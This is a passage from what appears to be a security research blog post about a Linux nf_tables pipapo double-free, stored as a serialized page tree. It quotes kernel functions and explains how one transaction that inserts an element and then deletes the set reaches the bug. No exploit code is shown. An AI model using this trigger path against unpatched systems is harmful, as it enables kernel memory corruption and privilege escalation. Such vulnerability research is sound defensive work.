",{"type":23,"tag":71,"props":63094,"children":63096},{"className":63095},[],[63097],{"type":29,"value":63098},"nf_tables_set_elem_destroy",{"type":29,"value":63100}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":23,"tag":71,"props":63102,"children":63104},{"className":63103},[],[63105],{"type":29,"value":62196},{"type":29,"value":63107},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":23,"tag":32,"props":63109,"children":63110},{},[63111,63113,63118,63120,63125,63127,63132,63134,63139,63141,63146],{"type":29,"value":63112},"We should now try to understand how to reach that path with the ",{"type":23,"tag":71,"props":63114,"children":63116},{"className":63115},[],[63117],{"type":29,"value":62158},{"type":29,"value":63119}," flag set, which is a member of the private data of a pipapo ",{"type":23,"tag":71,"props":63121,"children":63123},{"className":63122},[],[63124],{"type":29,"value":62196},{"type":29,"value":63126}," that becomes true whenever a change is made to the ",{"type":23,"tag":71,"props":63128,"children":63130},{"className":63129},[],[63131],{"type":29,"value":62204},{"type":29,"value":63133}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":23,"tag":71,"props":63135,"children":63137},{"className":63136},[],[63138],{"type":29,"value":62204},{"type":29,"value":63140}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":23,"tag":71,"props":63142,"children":63144},{"className":63143},[],[63145],{"type":29,"value":62204},{"type":29,"value":63147}," dirty by inserting a new element.",{"type":23,"tag":64,"props":63149,"children":63151},{"className":27738,"code":63150,"language":14432,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n        const struct nft_set_elem *elem,\n        struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[63152],{"type":23,"tag":71,"props":63153,"children":63154},{"__ignoreMap":7},[63155,63225,63254,63279,63286,63293,63322,63329],{"type":23,"tag":75,"props":63156,"children":63157},{"class":77,"line":78},[63158,63162,63166,63171,63175,63179,63183,63188,63192,63197,63201,63205,63209,63213,63217,63221],{"type":23,"tag":75,"props":63159,"children":63160},{"style":82},[63161],{"type":29,"value":62229},{"type":23,"tag":75,"props":63163,"children":63164},{"style":82},[63165],{"type":29,"value":62358},{"type":23,"tag":75,"props":63167,"children":63168},{"style":88},[63169],{"type":29,"value":63170}," nft_pipapo_insert",{"type":23,"tag":75,"props":63172,"children":63173},{"style":94},[63174],{"type":29,"value":643},{"type":23,"tag":75,"props":63176,"children":63177},{"style":82},[63178],{"type":29,"value":2869},{"type":23,"tag":75,"props":63180,"children":63181},{"style":82},[63182],{"type":29,"value":396},{"type":23,"tag":75,"props":63184,"children":63185},{"style":94},[63186],{"type":29,"value":63187}," net ",{"type":23,"tag":75,"props":63189,"children":63190},{"style":209},[63191],{"type":29,"value":601},{"type":23,"tag":75,"props":63193,"children":63194},{"style":110},[63195],{"type":29,"value":63196},"net",{"type":23,"tag":75,"props":63198,"children":63199},{"style":94},[63200],{"type":29,"value":611},{"type":23,"tag":75,"props":63202,"children":63203},{"style":82},[63204],{"type":29,"value":2869},{"type":23,"tag":75,"props":63206,"children":63207},{"style":82},[63208],{"type":29,"value":396},{"type":23,"tag":75,"props":63210,"children":63211},{"style":94},[63212],{"type":29,"value":62284},{"type":23,"tag":75,"props":63214,"children":63215},{"style":209},[63216],{"type":29,"value":601},{"type":23,"tag":75,"props":63218,"children":63219},{"style":110},[63220],{"type":29,"value":62204},{"type":23,"tag":75,"props":63222,"children":63223},{"style":94},[63224],{"type":29,"value":118},{"type":23,"tag":75,"props":63226,"children":63227},{"class":77,"line":100},[63228,63232,63236,63241,63245,63250],{"type":23,"tag":75,"props":63229,"children":63230},{"style":82},[63231],{"type":29,"value":44094},{"type":23,"tag":75,"props":63233,"children":63234},{"style":82},[63235],{"type":29,"value":396},{"type":23,"tag":75,"props":63237,"children":63238},{"style":94},[63239],{"type":29,"value":63240}," nft_set_elem ",{"type":23,"tag":75,"props":63242,"children":63243},{"style":209},[63244],{"type":29,"value":601},{"type":23,"tag":75,"props":63246,"children":63247},{"style":110},[63248],{"type":29,"value":63249},"elem",{"type":23,"tag":75,"props":63251,"children":63252},{"style":94},[63253],{"type":29,"value":118},{"type":23,"tag":75,"props":63255,"children":63256},{"class":77,"line":121},[63257,63262,63266,63271,63275],{"type":23,"tag":75,"props":63258,"children":63259},{"style":82},[63260],{"type":29,"value":63261},"        struct",{"type":23,"tag":75,"props":63263,"children":63264},{"style":94},[63265],{"type":29,"value":62889},{"type":23,"tag":75,"props":63267,"children":63268},{"style":209},[63269],{"type":29,"value":63270},"**",{"type":23,"tag":75,"props":63272,"children":63273},{"style":110},[63274],{"type":29,"value":62898},{"type":23,"tag":75,"props":63276,"children":63277},{"style":94},[63278],{"type":29,"value":653},{"type":23,"tag":75,"props":63280,"children":63281},{"class":77,"line":138},[63282],{"type":23,"tag":75,"props":63283,"children":63284},{"style":94},[63285],{"type":29,"value":2549},{"type":23,"tag":75,"props":63287,"children":63288},{"class":77,"line":161},[63289],{"type":23,"tag":75,"props":63290,"children":63291},{"style":94},[63292],{"type":29,"value":21566},{"type":23,"tag":75,"props":63294,"children":63295},{"class":77,"line":196},[63296,63301,63305,63310,63314,63318],{"type":23,"tag":75,"props":63297,"children":63298},{"style":110},[63299],{"type":29,"value":63300}," priv",{"type":23,"tag":75,"props":63302,"children":63303},{"style":94},[63304],{"type":29,"value":1156},{"type":23,"tag":75,"props":63306,"children":63307},{"style":110},[63308],{"type":29,"value":63309},"dirty",{"type":23,"tag":75,"props":63311,"children":63312},{"style":209},[63313],{"type":29,"value":1193},{"type":23,"tag":75,"props":63315,"children":63316},{"style":82},[63317],{"type":29,"value":23713},{"type":23,"tag":75,"props":63319,"children":63320},{"style":94},[63321],{"type":29,"value":245},{"type":23,"tag":75,"props":63323,"children":63324},{"class":77,"line":220},[63325],{"type":23,"tag":75,"props":63326,"children":63327},{"style":94},[63328],{"type":29,"value":21566},{"type":23,"tag":75,"props":63330,"children":63331},{"class":77,"line":248},[63332],{"type":23,"tag":75,"props":63333,"children":63334},{"style":94},[63335],{"type":29,"value":369},{"type":23,"tag":32,"props":63337,"children":63338},{},[63339],{"type":29,"value":63340},"We also see that when the changes are commited, this flag is then unset.",{"type":23,"tag":64,"props":63342,"children":63344},{"className":27738,"code":63343,"language":14432,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n  return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[63345],{"type":23,"tag":71,"props":63346,"children":63347},{"__ignoreMap":7},[63348,63388,63395,63402,63433,63444,63451,63478,63485],{"type":23,"tag":75,"props":63349,"children":63350},{"class":77,"line":78},[63351,63355,63359,63364,63368,63372,63376,63380,63384],{"type":23,"tag":75,"props":63352,"children":63353},{"style":82},[63354],{"type":29,"value":62229},{"type":23,"tag":75,"props":63356,"children":63357},{"style":82},[63358],{"type":29,"value":62234},{"type":23,"tag":75,"props":63360,"children":63361},{"style":88},[63362],{"type":29,"value":63363}," nft_pipapo_commit",{"type":23,"tag":75,"props":63365,"children":63366},{"style":94},[63367],{"type":29,"value":643},{"type":23,"tag":75,"props":63369,"children":63370},{"style":82},[63371],{"type":29,"value":20652},{"type":23,"tag":75,"props":63373,"children":63374},{"style":94},[63375],{"type":29,"value":62284},{"type":23,"tag":75,"props":63377,"children":63378},{"style":209},[63379],{"type":29,"value":601},{"type":23,"tag":75,"props":63381,"children":63382},{"style":110},[63383],{"type":29,"value":62204},{"type":23,"tag":75,"props":63385,"children":63386},{"style":94},[63387],{"type":29,"value":653},{"type":23,"tag":75,"props":63389,"children":63390},{"class":77,"line":100},[63391],{"type":23,"tag":75,"props":63392,"children":63393},{"style":94},[63394],{"type":29,"value":2549},{"type":23,"tag":75,"props":63396,"children":63397},{"class":77,"line":121},[63398],{"type":23,"tag":75,"props":63399,"children":63400},{"style":94},[63401],{"type":29,"value":21566},{"type":23,"tag":75,"props":63403,"children":63404},{"class":77,"line":138},[63405,63409,63413,63417,63421,63425,63429],{"type":23,"tag":75,"props":63406,"children":63407},{"style":175},[63408],{"type":29,"value":7386},{"type":23,"tag":75,"props":63410,"children":63411},{"style":94},[63412],{"type":29,"value":183},{"type":23,"tag":75,"props":63414,"children":63415},{"style":209},[63416],{"type":29,"value":13434},{"type":23,"tag":75,"props":63418,"children":63419},{"style":110},[63420],{"type":29,"value":62760},{"type":23,"tag":75,"props":63422,"children":63423},{"style":94},[63424],{"type":29,"value":1156},{"type":23,"tag":75,"props":63426,"children":63427},{"style":110},[63428],{"type":29,"value":63309},{"type":23,"tag":75,"props":63430,"children":63431},{"style":94},[63432],{"type":29,"value":653},{"type":23,"tag":75,"props":63434,"children":63435},{"class":77,"line":161},[63436,63440],{"type":23,"tag":75,"props":63437,"children":63438},{"style":175},[63439],{"type":29,"value":7418},{"type":23,"tag":75,"props":63441,"children":63442},{"style":94},[63443],{"type":29,"value":245},{"type":23,"tag":75,"props":63445,"children":63446},{"class":77,"line":196},[63447],{"type":23,"tag":75,"props":63448,"children":63449},{"style":94},[63450],{"type":29,"value":21566},{"type":23,"tag":75,"props":63452,"children":63453},{"class":77,"line":220},[63454,63458,63462,63466,63470,63474],{"type":23,"tag":75,"props":63455,"children":63456},{"style":110},[63457],{"type":29,"value":63300},{"type":23,"tag":75,"props":63459,"children":63460},{"style":94},[63461],{"type":29,"value":1156},{"type":23,"tag":75,"props":63463,"children":63464},{"style":110},[63465],{"type":29,"value":63309},{"type":23,"tag":75,"props":63467,"children":63468},{"style":209},[63469],{"type":29,"value":1193},{"type":23,"tag":75,"props":63471,"children":63472},{"style":82},[63473],{"type":29,"value":20313},{"type":23,"tag":75,"props":63475,"children":63476},{"style":94},[63477],{"type":29,"value":245},{"type":23,"tag":75,"props":63479,"children":63480},{"class":77,"line":248},[63481],{"type":23,"tag":75,"props":63482,"children":63483},{"style":94},[63484],{"type":29,"value":21566},{"type":23,"tag":75,"props":63486,"children":63487},{"class":77,"line":270},[63488],{"type":23,"tag":75,"props":63489,"children":63490},{"style":94},[63491],{"type":29,"value":369},{"type":23,"tag":32,"props":63493,"children":63494},{},[63495,63497,63502,63504,63509,63511,63516,63518,63523,63525,63531,63533,63539,63541,63546],{"type":29,"value":63496},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":23,"tag":71,"props":63498,"children":63500},{"className":63499},[],[63501],{"type":29,"value":62196},{"type":29,"value":63503}," in the ",{"type":23,"tag":71,"props":63505,"children":63507},{"className":63506},[],[63508],{"type":29,"value":62204},{"type":29,"value":63510}," to make it dirty and then delete the ",{"type":23,"tag":71,"props":63512,"children":63514},{"className":63513},[],[63515],{"type":29,"value":62204},{"type":29,"value":63517},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":23,"tag":71,"props":63519,"children":63521},{"className":63520},[],[63522],{"type":29,"value":62204},{"type":29,"value":63524},"'s ",{"type":23,"tag":71,"props":63526,"children":63528},{"className":63527},[],[63529],{"type":29,"value":63530},"->commit()",{"type":29,"value":63532}," method is executed before its ",{"type":23,"tag":71,"props":63534,"children":63536},{"className":63535},[],[63537],{"type":29,"value":63538},"->destroy()",{"type":29,"value":63540}," method, then the ",{"type":23,"tag":71,"props":63542,"children":63544},{"className":63543},[],[63545],{"type":29,"value":63309},{"type":29,"value":63547}," flag will be unset, and we won't be able to trigger the double-free.",{"type":23,"tag":32,"props":63549,"children":63550},{},[63551],{"type":29,"value":63552},"Let's once again refer to the code and see how these methods are called.",{"type":23,"tag":64,"props":63554,"children":63556},{"className":27738,"code":63555,"language":14432,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n  case NFT_MSG_DELSET:\n  case NFT_MSG_DESTROYSET: // [1]\n   nft_trans_set(trans)->dead = 1; // [2]\n   list_del_rcu(&nft_trans_set(trans)->list);\n   nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n          trans->msg_type, GFP_KERNEL);\n   break;\n  case NFT_MSG_NEWSETELEM: // [3]\n[...]\n   if (te->set->ops->commit &&\n       list_empty(&te->set->pending_update)) {\n    list_add_tail(&te->set->pending_update,\n           &set_update_list);\n   }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[63557],{"type":23,"tag":71,"props":63558,"children":63559},{"__ignoreMap":7},[63560,63622,63629,63636,63644,63657,63692,63726,63768,63790,63802,63815,63822,63870,63911,63951,63964,63971,63978,63985,63992,64017,64024,64037,64044,64059],{"type":23,"tag":75,"props":63561,"children":63562},{"class":77,"line":78},[63563,63567,63571,63576,63580,63584,63588,63592,63596,63600,63604,63609,63613,63618],{"type":23,"tag":75,"props":63564,"children":63565},{"style":82},[63566],{"type":29,"value":62229},{"type":23,"tag":75,"props":63568,"children":63569},{"style":82},[63570],{"type":29,"value":62358},{"type":23,"tag":75,"props":63572,"children":63573},{"style":88},[63574],{"type":29,"value":63575}," nf_tables_commit",{"type":23,"tag":75,"props":63577,"children":63578},{"style":94},[63579],{"type":29,"value":643},{"type":23,"tag":75,"props":63581,"children":63582},{"style":82},[63583],{"type":29,"value":20652},{"type":23,"tag":75,"props":63585,"children":63586},{"style":94},[63587],{"type":29,"value":63187},{"type":23,"tag":75,"props":63589,"children":63590},{"style":209},[63591],{"type":29,"value":601},{"type":23,"tag":75,"props":63593,"children":63594},{"style":110},[63595],{"type":29,"value":63196},{"type":23,"tag":75,"props":63597,"children":63598},{"style":94},[63599],{"type":29,"value":611},{"type":23,"tag":75,"props":63601,"children":63602},{"style":82},[63603],{"type":29,"value":20652},{"type":23,"tag":75,"props":63605,"children":63606},{"style":94},[63607],{"type":29,"value":63608}," sk_buff ",{"type":23,"tag":75,"props":63610,"children":63611},{"style":209},[63612],{"type":29,"value":601},{"type":23,"tag":75,"props":63614,"children":63615},{"style":110},[63616],{"type":29,"value":63617},"skb",{"type":23,"tag":75,"props":63619,"children":63620},{"style":94},[63621],{"type":29,"value":653},{"type":23,"tag":75,"props":63623,"children":63624},{"class":77,"line":100},[63625],{"type":23,"tag":75,"props":63626,"children":63627},{"style":94},[63628],{"type":29,"value":2549},{"type":23,"tag":75,"props":63630,"children":63631},{"class":77,"line":121},[63632],{"type":23,"tag":75,"props":63633,"children":63634},{"style":94},[63635],{"type":29,"value":21566},{"type":23,"tag":75,"props":63637,"children":63638},{"class":77,"line":138},[63639],{"type":23,"tag":75,"props":63640,"children":63641},{"style":94},[63642],{"type":29,"value":63643},"  case NFT_MSG_DELSET:\n",{"type":23,"tag":75,"props":63645,"children":63646},{"class":77,"line":161},[63647,63652],{"type":23,"tag":75,"props":63648,"children":63649},{"style":94},[63650],{"type":29,"value":63651},"  case NFT_MSG_DESTROYSET:",{"type":23,"tag":75,"props":63653,"children":63654},{"style":3621},[63655],{"type":29,"value":63656}," // [1]\n",{"type":23,"tag":75,"props":63658,"children":63659},{"class":77,"line":196},[63660,63665,63670,63675,63679,63683,63687],{"type":23,"tag":75,"props":63661,"children":63662},{"style":88},[63663],{"type":29,"value":63664},"   nft_trans_set",{"type":23,"tag":75,"props":63666,"children":63667},{"style":94},[63668],{"type":29,"value":63669},"(trans)->",{"type":23,"tag":75,"props":63671,"children":63672},{"style":110},[63673],{"type":29,"value":63674},"dead",{"type":23,"tag":75,"props":63676,"children":63677},{"style":209},[63678],{"type":29,"value":1193},{"type":23,"tag":75,"props":63680,"children":63681},{"style":237},[63682],{"type":29,"value":15795},{"type":23,"tag":75,"props":63684,"children":63685},{"style":94},[63686],{"type":29,"value":60260},{"type":23,"tag":75,"props":63688,"children":63689},{"style":3621},[63690],{"type":29,"value":63691}," // [2]\n",{"type":23,"tag":75,"props":63693,"children":63694},{"class":77,"line":220},[63695,63700,63704,63708,63713,63717,63722],{"type":23,"tag":75,"props":63696,"children":63697},{"style":88},[63698],{"type":29,"value":63699},"   list_del_rcu",{"type":23,"tag":75,"props":63701,"children":63702},{"style":94},[63703],{"type":29,"value":643},{"type":23,"tag":75,"props":63705,"children":63706},{"style":209},[63707],{"type":29,"value":1277},{"type":23,"tag":75,"props":63709,"children":63710},{"style":88},[63711],{"type":29,"value":63712},"nft_trans_set",{"type":23,"tag":75,"props":63714,"children":63715},{"style":94},[63716],{"type":29,"value":63669},{"type":23,"tag":75,"props":63718,"children":63719},{"style":110},[63720],{"type":29,"value":63721},"list",{"type":23,"tag":75,"props":63723,"children":63724},{"style":94},[63725],{"type":29,"value":15099},{"type":23,"tag":75,"props":63727,"children":63728},{"class":77,"line":248},[63729,63734,63738,63742,63747,63751,63755,63759,63763],{"type":23,"tag":75,"props":63730,"children":63731},{"style":88},[63732],{"type":29,"value":63733},"   nf_tables_set_notify",{"type":23,"tag":75,"props":63735,"children":63736},{"style":94},[63737],{"type":29,"value":643},{"type":23,"tag":75,"props":63739,"children":63740},{"style":209},[63741],{"type":29,"value":1277},{"type":23,"tag":75,"props":63743,"children":63744},{"style":110},[63745],{"type":29,"value":63746},"trans",{"type":23,"tag":75,"props":63748,"children":63749},{"style":94},[63750],{"type":29,"value":1156},{"type":23,"tag":75,"props":63752,"children":63753},{"style":110},[63754],{"type":29,"value":3331},{"type":23,"tag":75,"props":63756,"children":63757},{"style":94},[63758],{"type":29,"value":611},{"type":23,"tag":75,"props":63760,"children":63761},{"style":88},[63762],{"type":29,"value":63712},{"type":23,"tag":75,"props":63764,"children":63765},{"style":94},[63766],{"type":29,"value":63767},"(trans),\n",{"type":23,"tag":75,"props":63769,"children":63770},{"class":77,"line":270},[63771,63776,63780,63785],{"type":23,"tag":75,"props":63772,"children":63773},{"style":110},[63774],{"type":29,"value":63775},"          trans",{"type":23,"tag":75,"props":63777,"children":63778},{"style":94},[63779],{"type":29,"value":1156},{"type":23,"tag":75,"props":63781,"children":63782},{"style":110},[63783],{"type":29,"value":63784},"msg_type",{"type":23,"tag":75,"props":63786,"children":63787},{"style":94},[63788],{"type":29,"value":63789},", GFP_KERNEL);\n",{"type":23,"tag":75,"props":63791,"children":63792},{"class":77,"line":279},[63793,63798],{"type":23,"tag":75,"props":63794,"children":63795},{"style":175},[63796],{"type":29,"value":63797},"   break",{"type":23,"tag":75,"props":63799,"children":63800},{"style":94},[63801],{"type":29,"value":245},{"type":23,"tag":75,"props":63803,"children":63804},{"class":77,"line":303},[63805,63810],{"type":23,"tag":75,"props":63806,"children":63807},{"style":94},[63808],{"type":29,"value":63809},"  case NFT_MSG_NEWSETELEM:",{"type":23,"tag":75,"props":63811,"children":63812},{"style":3621},[63813],{"type":29,"value":63814}," // [3]\n",{"type":23,"tag":75,"props":63816,"children":63817},{"class":77,"line":322},[63818],{"type":23,"tag":75,"props":63819,"children":63820},{"style":94},[63821],{"type":29,"value":21566},{"type":23,"tag":75,"props":63823,"children":63824},{"class":77,"line":340},[63825,63830,63834,63839,63843,63847,63851,63856,63860,63865],{"type":23,"tag":75,"props":63826,"children":63827},{"style":175},[63828],{"type":29,"value":63829},"   if",{"type":23,"tag":75,"props":63831,"children":63832},{"style":94},[63833],{"type":29,"value":183},{"type":23,"tag":75,"props":63835,"children":63836},{"style":110},[63837],{"type":29,"value":63838},"te",{"type":23,"tag":75,"props":63840,"children":63841},{"style":94},[63842],{"type":29,"value":1156},{"type":23,"tag":75,"props":63844,"children":63845},{"style":110},[63846],{"type":29,"value":62204},{"type":23,"tag":75,"props":63848,"children":63849},{"style":94},[63850],{"type":29,"value":1156},{"type":23,"tag":75,"props":63852,"children":63853},{"style":110},[63854],{"type":29,"value":63855},"ops",{"type":23,"tag":75,"props":63857,"children":63858},{"style":94},[63859],{"type":29,"value":1156},{"type":23,"tag":75,"props":63861,"children":63862},{"style":110},[63863],{"type":29,"value":63864},"commit",{"type":23,"tag":75,"props":63866,"children":63867},{"style":209},[63868],{"type":29,"value":63869}," &&\n",{"type":23,"tag":75,"props":63871,"children":63872},{"class":77,"line":349},[63873,63878,63882,63886,63890,63894,63898,63902,63907],{"type":23,"tag":75,"props":63874,"children":63875},{"style":88},[63876],{"type":29,"value":63877},"       list_empty",{"type":23,"tag":75,"props":63879,"children":63880},{"style":94},[63881],{"type":29,"value":643},{"type":23,"tag":75,"props":63883,"children":63884},{"style":209},[63885],{"type":29,"value":1277},{"type":23,"tag":75,"props":63887,"children":63888},{"style":110},[63889],{"type":29,"value":63838},{"type":23,"tag":75,"props":63891,"children":63892},{"style":94},[63893],{"type":29,"value":1156},{"type":23,"tag":75,"props":63895,"children":63896},{"style":110},[63897],{"type":29,"value":62204},{"type":23,"tag":75,"props":63899,"children":63900},{"style":94},[63901],{"type":29,"value":1156},{"type":23,"tag":75,"props":63903,"children":63904},{"style":110},[63905],{"type":29,"value":63906},"pending_update",{"type":23,"tag":75,"props":63908,"children":63909},{"style":94},[63910],{"type":29,"value":46388},{"type":23,"tag":75,"props":63912,"children":63913},{"class":77,"line":363},[63914,63919,63923,63927,63931,63935,63939,63943,63947],{"type":23,"tag":75,"props":63915,"children":63916},{"style":88},[63917],{"type":29,"value":63918},"    list_add_tail",{"type":23,"tag":75,"props":63920,"children":63921},{"style":94},[63922],{"type":29,"value":643},{"type":23,"tag":75,"props":63924,"children":63925},{"style":209},[63926],{"type":29,"value":1277},{"type":23,"tag":75,"props":63928,"children":63929},{"style":110},[63930],{"type":29,"value":63838},{"type":23,"tag":75,"props":63932,"children":63933},{"style":94},[63934],{"type":29,"value":1156},{"type":23,"tag":75,"props":63936,"children":63937},{"style":110},[63938],{"type":29,"value":62204},{"type":23,"tag":75,"props":63940,"children":63941},{"style":94},[63942],{"type":29,"value":1156},{"type":23,"tag":75,"props":63944,"children":63945},{"style":110},[63946],{"type":29,"value":63906},{"type":23,"tag":75,"props":63948,"children":63949},{"style":94},[63950],{"type":29,"value":118},{"type":23,"tag":75,"props":63952,"children":63953},{"class":77,"line":656},[63954,63959],{"type":23,"tag":75,"props":63955,"children":63956},{"style":209},[63957],{"type":29,"value":63958},"           &",{"type":23,"tag":75,"props":63960,"children":63961},{"style":94},[63962],{"type":29,"value":63963},"set_update_list);\n",{"type":23,"tag":75,"props":63965,"children":63966},{"class":77,"line":705},[63967],{"type":23,"tag":75,"props":63968,"children":63969},{"style":94},[63970],{"type":29,"value":45942},{"type":23,"tag":75,"props":63972,"children":63973},{"class":77,"line":787},[63974],{"type":23,"tag":75,"props":63975,"children":63976},{"style":94},[63977],{"type":29,"value":21566},{"type":23,"tag":75,"props":63979,"children":63980},{"class":77,"line":826},[63981],{"type":23,"tag":75,"props":63982,"children":63983},{"style":94},[63984],{"type":29,"value":7477},{"type":23,"tag":75,"props":63986,"children":63987},{"class":77,"line":834},[63988],{"type":23,"tag":75,"props":63989,"children":63990},{"emptyLinePlaceholder":15},[63991],{"type":29,"value":276},{"type":23,"tag":75,"props":63993,"children":63994},{"class":77,"line":881},[63995,64000,64004,64008,64013],{"type":23,"tag":75,"props":63996,"children":63997},{"style":88},[63998],{"type":29,"value":63999}," nft_set_commit_update",{"type":23,"tag":75,"props":64001,"children":64002},{"style":94},[64003],{"type":29,"value":643},{"type":23,"tag":75,"props":64005,"children":64006},{"style":209},[64007],{"type":29,"value":1277},{"type":23,"tag":75,"props":64009,"children":64010},{"style":110},[64011],{"type":29,"value":64012},"set_update_list",{"type":23,"tag":75,"props":64014,"children":64015},{"style":94},[64016],{"type":29,"value":15099},{"type":23,"tag":75,"props":64018,"children":64019},{"class":77,"line":3355},[64020],{"type":23,"tag":75,"props":64021,"children":64022},{"style":94},[64023],{"type":29,"value":21566},{"type":23,"tag":75,"props":64025,"children":64026},{"class":77,"line":3390},[64027,64032],{"type":23,"tag":75,"props":64028,"children":64029},{"style":88},[64030],{"type":29,"value":64031}," nf_tables_commit_release",{"type":23,"tag":75,"props":64033,"children":64034},{"style":94},[64035],{"type":29,"value":64036},"(net);\n",{"type":23,"tag":75,"props":64038,"children":64039},{"class":77,"line":3423},[64040],{"type":23,"tag":75,"props":64041,"children":64042},{"emptyLinePlaceholder":15},[64043],{"type":29,"value":276},{"type":23,"tag":75,"props":64045,"children":64046},{"class":77,"line":3436},[64047,64051,64055],{"type":23,"tag":75,"props":64048,"children":64049},{"style":175},[64050],{"type":29,"value":5962},{"type":23,"tag":75,"props":64052,"children":64053},{"style":237},[64054],{"type":29,"value":240},{"type":23,"tag":75,"props":64056,"children":64057},{"style":94},[64058],{"type":29,"value":245},{"type":23,"tag":75,"props":64060,"children":64061},{"class":77,"line":3449},[64062],{"type":23,"tag":75,"props":64063,"children":64064},{"style":94},[64065],{"type":29,"value":369},{"type":23,"tag":32,"props":64067,"children":64068},{},[64069,64070,64076,64078,64083],{"type":29,"value":2846},{"type":23,"tag":71,"props":64071,"children":64073},{"className":64072},[],[64074],{"type":29,"value":64075},"nft_set_commit_update()",{"type":29,"value":64077}," function in the code above will call the ",{"type":23,"tag":71,"props":64079,"children":64081},{"className":64080},[],[64082],{"type":29,"value":63530},{"type":29,"value":64084}," method for any objects that were marked as pending an update.",{"type":23,"tag":64,"props":64086,"children":64088},{"className":27738,"code":64087,"language":14432,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n  list_del_init(&set->pending_update);\n\n  if (!set->ops->commit || set->dead) // [4]\n   continue;\n\n  set->ops->commit(set); // [5]\n }\n}\n",[64089],{"type":23,"tag":71,"props":64090,"children":64091},{"__ignoreMap":7},[64092,64132,64139,64168,64175,64188,64220,64227,64288,64299,64306,64340,64347],{"type":23,"tag":75,"props":64093,"children":64094},{"class":77,"line":78},[64095,64099,64103,64107,64111,64115,64120,64124,64128],{"type":23,"tag":75,"props":64096,"children":64097},{"style":82},[64098],{"type":29,"value":62229},{"type":23,"tag":75,"props":64100,"children":64101},{"style":82},[64102],{"type":29,"value":62234},{"type":23,"tag":75,"props":64104,"children":64105},{"style":88},[64106],{"type":29,"value":63999},{"type":23,"tag":75,"props":64108,"children":64109},{"style":94},[64110],{"type":29,"value":643},{"type":23,"tag":75,"props":64112,"children":64113},{"style":82},[64114],{"type":29,"value":20652},{"type":23,"tag":75,"props":64116,"children":64117},{"style":94},[64118],{"type":29,"value":64119}," list_head ",{"type":23,"tag":75,"props":64121,"children":64122},{"style":209},[64123],{"type":29,"value":601},{"type":23,"tag":75,"props":64125,"children":64126},{"style":110},[64127],{"type":29,"value":64012},{"type":23,"tag":75,"props":64129,"children":64130},{"style":94},[64131],{"type":29,"value":653},{"type":23,"tag":75,"props":64133,"children":64134},{"class":77,"line":100},[64135],{"type":23,"tag":75,"props":64136,"children":64137},{"style":94},[64138],{"type":29,"value":2549},{"type":23,"tag":75,"props":64140,"children":64141},{"class":77,"line":121},[64142,64146,64150,64154,64159,64163],{"type":23,"tag":75,"props":64143,"children":64144},{"style":82},[64145],{"type":29,"value":396},{"type":23,"tag":75,"props":64147,"children":64148},{"style":94},[64149],{"type":29,"value":62284},{"type":23,"tag":75,"props":64151,"children":64152},{"style":209},[64153],{"type":29,"value":601},{"type":23,"tag":75,"props":64155,"children":64156},{"style":94},[64157],{"type":29,"value":64158},"set, ",{"type":23,"tag":75,"props":64160,"children":64161},{"style":209},[64162],{"type":29,"value":601},{"type":23,"tag":75,"props":64164,"children":64165},{"style":94},[64166],{"type":29,"value":64167},"next;\n",{"type":23,"tag":75,"props":64169,"children":64170},{"class":77,"line":138},[64171],{"type":23,"tag":75,"props":64172,"children":64173},{"emptyLinePlaceholder":15},[64174],{"type":29,"value":276},{"type":23,"tag":75,"props":64176,"children":64177},{"class":77,"line":161},[64178,64183],{"type":23,"tag":75,"props":64179,"children":64180},{"style":88},[64181],{"type":29,"value":64182}," list_for_each_entry_safe",{"type":23,"tag":75,"props":64184,"children":64185},{"style":94},[64186],{"type":29,"value":64187},"(set, next, set_update_list, pending_update) {\n",{"type":23,"tag":75,"props":64189,"children":64190},{"class":77,"line":196},[64191,64196,64200,64204,64208,64212,64216],{"type":23,"tag":75,"props":64192,"children":64193},{"style":88},[64194],{"type":29,"value":64195},"  list_del_init",{"type":23,"tag":75,"props":64197,"children":64198},{"style":94},[64199],{"type":29,"value":643},{"type":23,"tag":75,"props":64201,"children":64202},{"style":209},[64203],{"type":29,"value":1277},{"type":23,"tag":75,"props":64205,"children":64206},{"style":110},[64207],{"type":29,"value":62204},{"type":23,"tag":75,"props":64209,"children":64210},{"style":94},[64211],{"type":29,"value":1156},{"type":23,"tag":75,"props":64213,"children":64214},{"style":110},[64215],{"type":29,"value":63906},{"type":23,"tag":75,"props":64217,"children":64218},{"style":94},[64219],{"type":29,"value":15099},{"type":23,"tag":75,"props":64221,"children":64222},{"class":77,"line":220},[64223],{"type":23,"tag":75,"props":64224,"children":64225},{"emptyLinePlaceholder":15},[64226],{"type":29,"value":276},{"type":23,"tag":75,"props":64228,"children":64229},{"class":77,"line":248},[64230,64234,64238,64242,64246,64250,64254,64258,64262,64266,64271,64275,64279,64283],{"type":23,"tag":75,"props":64231,"children":64232},{"style":175},[64233],{"type":29,"value":42589},{"type":23,"tag":75,"props":64235,"children":64236},{"style":94},[64237],{"type":29,"value":183},{"type":23,"tag":75,"props":64239,"children":64240},{"style":209},[64241],{"type":29,"value":13434},{"type":23,"tag":75,"props":64243,"children":64244},{"style":110},[64245],{"type":29,"value":62204},{"type":23,"tag":75,"props":64247,"children":64248},{"style":94},[64249],{"type":29,"value":1156},{"type":23,"tag":75,"props":64251,"children":64252},{"style":110},[64253],{"type":29,"value":63855},{"type":23,"tag":75,"props":64255,"children":64256},{"style":94},[64257],{"type":29,"value":1156},{"type":23,"tag":75,"props":64259,"children":64260},{"style":110},[64261],{"type":29,"value":63864},{"type":23,"tag":75,"props":64263,"children":64264},{"style":209},[64265],{"